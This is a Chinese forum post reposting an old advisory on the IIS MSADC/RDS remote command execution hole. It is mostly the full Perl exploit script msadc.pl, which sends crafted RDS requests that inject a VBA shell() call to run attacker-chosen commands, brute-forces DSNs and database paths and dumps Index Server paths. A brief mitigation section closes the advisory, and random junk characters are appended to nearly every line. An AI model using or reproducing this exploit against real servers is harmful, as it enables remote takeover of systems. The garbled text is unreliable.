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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) <dd(i  
kr=&x)Wy!  
涉及程序: (mvzGXNz4  
Microsoft NT server E+tV7xa~  
6q8b>LG|  
描述: s/" l ?d  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 X-mhz3Q&a  
O! t> @%)  
详细: i#RT4}l"a  
如果你没有时间读详细内容的话,就删除: "=/YPw^0  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ar!`8"  
有关的安全问题就没有了。 LYV\|a{Y  
tt%lDr1A)  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 O0i)Iu(J7;  
Zd Li<1P*d  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 u\uYq  
关于利用ODBC远程漏洞的描述,请参看: KK|AXoBf  
Cxt_QyL?  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm $QbaPmHW  
8rXQK|A  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 P%nN#Qm  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp DNu^4#r  
ov@N13 ,$  
这里不再论述。 jJ B+UF=  
iFi6,V*PRt  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: [*jvvkAp  
>w}5\ 4j  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset g`69 0  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! pod=|(c  
._$tNGI4  
V7pe|]%r  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Fhr5)Z  
MeSF,*lP  
#!perl b_p/ 1W:  
# 6n  
# MSADC/RDS 'usage' (aka exploit) script )uJu.foE  
# ~53uUT|B  
# by rain.forest.puppy 2^*a$ OJ  
# $^ wqoW%t  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me HF\|mL  
# beta test and find errors! M y vyp  
;#goC N.  
use Socket; use Getopt::Std; t[yu3U  
getopts("e:vd:h:XR", \%args); <EHgPlQn  
j-% vLL/  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; (#t"u`_Ee  
:MIJfr>z  
if (!defined $args{h} && !defined $args{R}) { YaWZOuxm  
print qq~ J2ryYdo>  
Usage: msadc.pl -h <host> { -d <delay> -X -v } LZ ?z5U:  
-h <host> = host you want to scan (ip or domain) 7 B<  
-d <seconds> = delay between calls, default 1 second )fRZ}7k:  
-X = dump Index Server path table, if available l4:5(1  
-v = verbose _3_kvs  
-e = external dictionary file for step 5 Uh9p ,AV  
KO~_  
Or a -R will resume a command session |lnMT)^D  
L93PDp4v  
~; exit;} ks}J ke>  
)U?O4| \P  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Tgf#I*(^]  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} V^  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} fH#*r|~  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); {Y\W&Edw%  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} - s}  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } gE_i#=bw  
A$H;2T5N  
if (!defined $args{R}){ $ret = &has_msadc; mn>$K"_k  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} S1!X;PP/  
>l!#_a  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" e?V7<7$  
. "cmd /c "; yqY nd<K4  
$in=<STDIN>; chomp $in; t,f)!D$  
$command="cmd /c " . $in ; i xf~3Y8  
.:`+4n  
if (defined $args{R}) {&load; exit;} aR2Vvo  
h W<fu  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; YM:;mX5B  
&try_btcustmr; +bGj(T%+'  
2NNAsr}L  
print "\nStep 2: Trying to make our own DSN..."; G>>`j2:y  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; c6;326aD q  
;?*`WB  
print "\nStep 3: Trying known DSNs..."; 4dB6cg  
&known_dsn; B*zR/?U^  
XVlZ:kz  
print "\nStep 4: Trying known .mdbs..."; #TXN\YNP  
&known_mdb; `ZC{<eVJ}=  
n{b(~eL?  
if (defined $args{e}){ @jKiE%OP  
print "\nStep 5: Trying dictionary of DSN names..."; _>6xU t  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } iut[?#f^  
o/;kzi  
print "Sorry Charley...maybe next time?\n"; {x-iBg9#l2  
exit; hZ#ydI|  
0L ^WTq  
############################################################################## %X--`91|u  
tiTJ.uz6  
sub sendraw { # ripped and modded from whisker `YK2hr  
sleep($delay); # it's a DoS on the server! At least on mine... [32]wgw+{1  
my ($pstr)=@_; FR7DuH/f)  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || l[MP|m#  
die("Socket problems\n"); gH0' Ok'  
if(connect(S,pack "SnA4x8",2,80,$target)){ *Y4[YnkPE  
select(S); $|=1; 9L`5r$/  
print $pstr; my @in=<S>; ed=pRb  
select(STDOUT); close(S); ,t2yw  
return @in; 61XLL/=P  
} else { die("Can't connect...\n"); }} S,=#b 4\#%  
P  -O& X  
############################################################################## FnoE\2}9  
\1[=t+/  
sub make_header { # make the HTTP request ;2NJkn9t  
my $msadc=<<EOT MHuQGc"e+4  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 z]^u@]@NC  
User-Agent: ACTIVEDATA \),DW)  
Host: $ip MRI`h.  
Content-Length: $clen ut<0-  
Connection: Keep-Alive }!&Vcf  
\!+#9sq0  
ADCClientVersion:01.06 p4Wy2.&Q  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 !LG 5q/}&  
P,QI-,  
--!ADM!ROX!YOUR!WORLD! F+c4v A})  
Content-Type: application/x-varg pX\Y:hCug  
Content-Length: $reqlen zZhAH('fG  
_3;vir%)  
EOT :EkhF6B/  
; $msadc=~s/\n/\r\n/g; _ $ Wj1h  
return $msadc;} jMpV c E#  
;$VQRXq  
############################################################################## _3pME9l  
rryC^Vma  
sub make_req { # make the RDS request bm</qF'T6  
my ($switch, $p1, $p2)=@_; z-J?x-<  
my $req=""; my $t1, $t2, $query, $dsn; vFz#A/1  
%u)niY-g  
if ($switch==1){ # this is the btcustmr.mdb query !"G|y4O  
$query="Select * from Customers where City=" . make_shell(); o>#ue<Bc6  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . "f1`6cx6  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} d'x'hp%  
daX$=n  
elsif ($switch==2){ # this is general make table query M9t`w-@_w  
$query="create table AZZ (B int, C varchar(10))"; vi4lmkyh^  
$dsn="$p1";} J%:D%=9 )  
<%SG <|t  
elsif ($switch==3){ # this is general exploit table query w[/_o,R  
$query="select * from AZZ where C=" . make_shell(); Cuk!I$  
$dsn="$p1";} iE}Lw&x  
}Qqi013E L  
elsif ($switch==4){ # attempt to hork file info from index server ~8j4IO(  
$query="select path from scope()"; .!B>pp(9  
$dsn="Provider=MSIDXS;";} FxkxV GZ"  
@[s+5_9nk  
elsif ($switch==5){ # bad query U#X6KRZ~g  
$query="select"; ,drcJ  
$dsn="$p1";} q_R^Q>ZIe  
)J"*[[e  
$t1= make_unicode($query); 4D4Y.g_x  
$t2= make_unicode($dsn); TA~FP#.  
$req = "\x02\x00\x03\x00"; d,"6s=4(q  
$req.= "\x08\x00" . pack ("S1", length($t1)); d4r@Gx%BE  
$req.= "\x00\x00" . $t1 ; gQ0W>\xz  
$req.= "\x08\x00" . pack ("S1", length($t2)); b.4H4LV  
$req.= "\x00\x00" . $t2 ; m j!P ]  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; "UVqHW1%K  
return $req;} *oW^P~m/  
 d.)%C]W{  
############################################################################## ,~TV/l<  
G|LJOq7QB  
sub make_shell { # this makes the shell() statement SXJ]()L?[v  
return "'|shell(\"$command\")|'";} i:@n6GW+iw  
mjI $z3  
############################################################################## 7R{(\s\9:  
"lT>V)NB'  
sub make_unicode { # quick little function to convert to unicode (9A`[TRwi  
my ($in)=@_; my $out; ^=1:!'*3D  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 5TB==Fj ?  
return $out;} #% 1|$V*:  
UD+r{s/%  
############################################################################## XSv)=]{  
g(b:^_Nep  
sub rdo_success { # checks for RDO return success (this is kludge) "(QI7:iM  
my (@in) = @_; my $base=content_start(@in); 8euh]+  
if($in[$base]=~/multipart\/mixed/){ DH*=IzcJf  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 8#_"WzDw  
return 0;} 4Up3x+bg  
p&O-]o8  
############################################################################## G#f(oGn :  
\U\k$ (  
sub make_dsn { # this makes a DSN for us }vof| (Yh  
my @drives=("c","d","e","f"); <8?jn*$;\  
print "\nMaking DSN: "; b~L8m4L  
foreach $drive (@drives) { gT=RJB  
print "$drive: "; &# w~S~  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 'y<<ce*   
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" wfJ[" q   
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); /qeSR3WC  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; x#0B "{  
return 0 if $2 eq "404"; # not found/doesn't exist ZBf9Upg  
if($2 eq "200") { !J%m7 A  
foreach $line (@results) { n~e#Y<IP\1  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} zB@@Gs>  
} return 0;} 6j{O/  
1(ud(8?|  
############################################################################## `JrvD  
;=ci7IT'  
sub verify_exists { OD~TWT_  
my ($page)=@_; 1 xu2$x.b  
my @results=sendraw("GET $page HTTP/1.0\n\n"); aN}l&4d  
return $results[0];} Dj$W?dC"^  
7K\H_YY8#  
############################################################################## P:3%#d~q  
NW=tZVQ<X  
sub try_btcustmr { :87HXz6]jS  
my @drives=("c","d","e","f"); N:yyDeGyW  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Pp9nilb_(  
ap% Y}  
foreach $dir (@dirs) { FhyA_U%/nF  
print "$dir -> "; # fun status so you can see progress 3~uWrZ.u  
foreach $drive (@drives) { S}T*gUO  
print "$drive: "; # ditto r:n-?P  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; (q|EC;   
$reqlenlen=length( "$reqlen" ); Jc74A=sT  
$clen= 206 + $reqlenlen + $reqlen; MG G c  
~5xs$ub  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ti}g?\VT  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} "k%B;!We)  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} G;CB%qXI  
*G,'V,?  
############################################################################## ;&9A Yh.  
@N'0:0Nb_  
sub odbc_error { 5csqu^/y  
my (@in)=@_; my $base; #!n"),3  
my $base = content_start(@in); dAZh# i[  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this IUJRP  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; =yZiBJ  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; xqA XfJ.  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ;%V%6:5  
return $in[$base+4].$in[$base+5].$in[$base+6];} \;%DDw  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ONkHHyT  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 1 iWe&I:  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 1~x=bphS  
Q5N;MpJ-  
############################################################################## 2\: z   
YyZ>w2_MTi  
sub verbose { vG7aT  
my ($in)=@_; Q;3 v ]h_  
return if !$verbose; NP {O  
print STDOUT "\n$in\n";} Js7D>GWP!  
[9O,C-Mk  
############################################################################## Y.<&phv  
%j[DG_  
sub save { .$k2.-k  
my ($p1, $p2, $p3, $p4)=@_; Fk 5;  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 6}RRrYL7I  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; z z4.gkU  
close OUT;} ;AwQpq>dy  
``:AF:  
############################################################################## 2[*r9%W  
;8G( l   
sub load { _v+mjDdQ  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; l/JE}Eg(  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); FZEK-]h.  
@p=<IN>; close(IN); bwm?\l.A  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); jmAQ!y|W.  
$target= inet_aton($ip) || die("inet_aton problems"); &y}nd 7o  
print "Resuming to $ip ..."; A!K/92[#@  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; f.o,VVYi  
if($p[1]==1) { E/MNz}+  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Pw"o[8  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; [;Q8xvVZ'  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 1Ugyjjlz  
if (rdo_success(@results)){print "Success!\n";} C y b-}l  
else { print "failed\n"; verbose(odbc_error(@results));}} C(7Y5\"P  
elsif ($p[1]==3){ G$5N8k[2  
if(run_query("$p[3]")){ jQKlJi2xu  
print "Success!\n";} else { print "failed\n"; }} MBbycI,  
elsif ($p[1]==4){ bHr2LhQCN  
if(run_query($drvst . "$p[3]")){ e%v<nGN.-  
print "Success!\n"; } else { print "failed\n"; }} h9McC3  
exit;} ,u^S(vxyz  
`FP)-^A8  
############################################################################## aN.t) DG}J  
nC3U%*l  
sub create_table { Vs1j9P|G  
my ($in)=@_; pX:FXzYQ  
$reqlen=length( make_req(2,$in,"") ) - 28; RsYn6ozb  
$reqlenlen=length( "$reqlen" ); 9q2 >_Mv  
$clen= 206 + $reqlenlen + $reqlen; .oJs"=h:m  
my @results=sendraw(make_header() . make_req(2,$in,"")); ]to"X7/  
return 1 if rdo_success(@results); ZwLD7j*)  
my $temp= odbc_error(@results); verbose($temp); ?,J N?  
return 1 if $temp=~/Table 'AZZ' already exists/; ICD(#m  
return 0;} D&{ 7Av  
]U]22I'+$2  
############################################################################## l_lm)'ag  
N#;k;Z'iL  
sub known_dsn { CjzfU*G  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 8 oHyNo  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 1Ftl1uf  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", jb' hqz  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); }mjJglK!N  
a2dlz@)J  
foreach $dSn (@dsns) { sW~Z?PFP  
print "."; ! af35WF  
next if (!is_access("DSN=$dSn")); lD!o4ZAo  
if(create_table("DSN=$dSn")){ ~RVx~hh  
print "$dSn successful\n"; OC zWP,  
if(run_query("DSN=$dSn")){ P!C!E/Jf5  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { J}7iXTh  
print "Something's borked. Use verbose next time\n";}}} print "\n";} {4Q4aL(  
)* @Oz  
############################################################################## ?-,v0#  
krTH<- P  
sub is_access { IKM=Q. 7j  
my ($in)=@_; L&qzX)  
$reqlen=length( make_req(5,$in,"") ) - 28; .`!|^h%0  
$reqlenlen=length( "$reqlen" ); k--.g(T  
$clen= 206 + $reqlenlen + $reqlen; q P@4KH} e  
my @results=sendraw(make_header() . make_req(5,$in,"")); W:uIG-y~  
my $temp= odbc_error(@results); ?op6_a-wm  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); . `lcxC  
return 0;} qoBm!|q  
w$H=GF?"  
############################################################################## 22L#\qVkl  
uXuMt a* Y  
sub run_query { rUkiwqr~E  
my ($in)=@_; J<:qzwh  
$reqlen=length( make_req(3,$in,"") ) - 28; CTt3W>'=+  
$reqlenlen=length( "$reqlen" ); rMqWXGl`(  
$clen= 206 + $reqlenlen + $reqlen; fmH$ 1C<  
my @results=sendraw(make_header() . make_req(3,$in,"")); I<*U^e  
return 1 if rdo_success(@results); 6Flc4L8JU  
my $temp= odbc_error(@results); verbose($temp); H~+D2A  
return 0;} EI2V<v  
F;jl0)fBR=  
############################################################################## 3e"_R  
oUEpzv,J  
sub known_mdb { E7+ y W  
my @drives=("c","d","e","f","g"); bL+Hw6;  
my @dirs=("winnt","winnt35","winnt351","win","windows"); b/oJ[Vf  
my $dir, $drive, $mdb; ]%(hZZ  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Kz!-w  
:{C#<g`  
# this is sparse, because I don't know of many \cvui^^n  
my @sysmdbs=( "\\catroot\\icatalog.mdb", !z X`M1J  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", `9eE139V='  
"\\system32\\certmdb.mdb", XU.ZYYZ=  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%  %"j<`  
w :Fes  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", +o)S.a+7  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 7ZS 5u+o  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", =-{+y(<"r  
"\\cfusion\\cfapps\\security\\realm_.mdb", =35^k-VS  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", t#oY|G3O}  
"\\cfusion\\database\\cfexamples.mdb", BOn2`|oLuF  
"\\cfusion\\database\\cfsnippets.mdb", {Q^P<  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", FJo N"X  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", >+R`3|o '  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 3> -/sii  
"\\cfusion\\database\\smpolicy.mdb", R_.C,mR ?  
"\\cfusion\\database\cypress.mdb", URmx8=q  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", qX`?4"4  
"\\website\\cgi-win\\dbsample.mdb", z?_c:]D  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ^-PlTmT  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" |vA3+kG  
); #these are just aDR<5_Yb  
foreach $drive (@drives) { Yt!UIl\<  
foreach $dir (@dirs){ c[?S}u|['  
foreach $mdb (@sysmdbs) { "jmi "O*  
print "."; z}yntY]n  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ S #%'Vrp  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 3zY"9KUN  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ho ?.\Jq  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; EbuOPa  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ^%|{>Mz;c  
Lo @mQ  
foreach $drive (@drives) { YMad]_XOP  
foreach $mdb (@mdbs) { ;2kiEATQ 1  
print "."; EU TTeFp  
if(create_table($drv . $drive . $dir . $mdb)){ )-#%  
print "\n" . $drive . $dir . $mdb . " successful\n"; :}FMauHh  
if(run_query($drv . $drive . $dir . $mdb)){ ${ad[hs  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; $}2m%$vJO  
} else { print "Something's borked. Use verbose next time\n"; }}}} CT3wd?)z`  
} V' "p a  
7EOn4I2@[  
############################################################################## c^}gJ  
k# ZO4  
sub hork_idx { 1[D~Ee p  
print "\nAttempting to dump Index Server tables...\n"; Fl]$ql   
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ik_Ll|  
$reqlen=length( make_req(4,"","") ) - 28; BQ,]]}e43z  
$reqlenlen=length( "$reqlen" ); ,* ?bET $  
$clen= 206 + $reqlenlen + $reqlen; =B4mi.;@i  
my @results=sendraw2(make_header() . make_req(4,"","")); o~<37J3).  
if (rdo_success(@results)){ GfD!Z3  
my $max=@results; my $c; my %d; BM& 95p   
for($c=19; $c<$max; $c++){ U: ~O^  
$results[$c]=~s/\x00//g;  r75,mX  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Ex^7`-2,B  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; :g}WN  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; <tMiI)0%  
$d{"$1$2"}="";} ,xuqQ;JX  
foreach $c (keys %d){ print "$c\n"; } *I(>[m!  
} else {print "Index server doesn't seem to be installed.\n"; }} 5'?K(Jdmp  
]Hc `<P  
############################################################################## 4 (& W>E  
NwIl~FNK  
sub dsn_dict { us"SM\X#  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); L0qo/6|C  
while(<IN>){ l131^48U  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; epJVs0W  
next if (!is_access("DSN=$dSn")); qS*qHT(u19  
if(create_table("DSN=$dSn")){ `XB(d@%  
print "$dSn successful\n"; A/lxXy}D  
if(run_query("DSN=$dSn")){  ;iy]mPd  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { `LVItP(GUM  
print "Something's borked. Use verbose next time\n";}}} vK!,vKa.  
print "\n"; close(IN);} A?ma5h  
MM3X! tq  
############################################################################## ':R)i.TS  
,6~c0]/  
sub sendraw2 { # ripped and modded from whisker QK&<im-  
sleep($delay); # it's a DoS on the server! At least on mine... eA$9)K1GO  
my ($pstr)=@_; Mou>|U 1e"  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 3cBuqQ  
die("Socket problems\n"); ]QJLES  
if(connect(S,pack "SnA4x8",2,80,$target)){ ~!E% GCyFy  
print "Connected. Getting data"; )Uw QsP  
open(OUT,">raw.out"); my @in; U O YM   
select(S); $|=1; print $pstr; cAM1\3HWT"  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} D06'"  
close(OUT); select(STDOUT); close(S); return @in; T|GRkxd,E3  
} else { die("Can't connect...\n"); }} aAh")B2  
<8|vj 2d2  
############################################################################## -A(] ",*J  
Mc>]ZAzr  
sub content_start { # this will take in the server headers ^DS9D:oE  
my (@in)=@_; my $c; sEt5!&  
for ($c=1;$c<500;$c++) { NS6#od ZeV  
if($in[$c] =~/^\x0d\x0a/){ #[ vmS  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Sir7TQ4B  
else { return $c+1; }}} C8}ujC  
return -1;} # it should never get here actually L)H7~.Dj  
CN#`m]l.  
############################################################################## ld -c?  
BEPeK  
sub funky {  :J`:Q3@  
my (@in)=@_; my $error=odbc_error(@in); *LOpbf  
if($error=~/ADO could not find the specified provider/){ *>n<7T0  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; %a&Yt  
exit;} kLU$8L  
if($error=~/A Handler is required/){ [?r`8K2!,  
print "\nServer has custom handler filters (they most likely are patched)\n"; @QV|<NeH  
exit;} vg&Dr  
if($error=~/specified Handler has denied Access/){ ~=aD*v<3d  
print "\nServer has custom handler filters (they most likely are patched)\n"; '*MNRduE6  
exit;}} U 3aY =8B  
r"x|]nvg^  
############################################################################## dy-m9fc6%  
N&K:Jp  
sub has_msadc { ~'m GGH2  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); EpB2?XGA  
my $base=content_start(@results); U=\ZeYK.  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); dqwAQ-x  
return 0;} L#Uk=  
T~J6(,"  
######################## ~cbq5||  
V%g$LrLVe  
?wt%e;  
解决方案: f9W@!]LHJ  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 'e^,#L_!o  
2、移除web 目录: /msadc
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学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ivYHq#b59  
CE]0OY  
拿出来充数 哈哈
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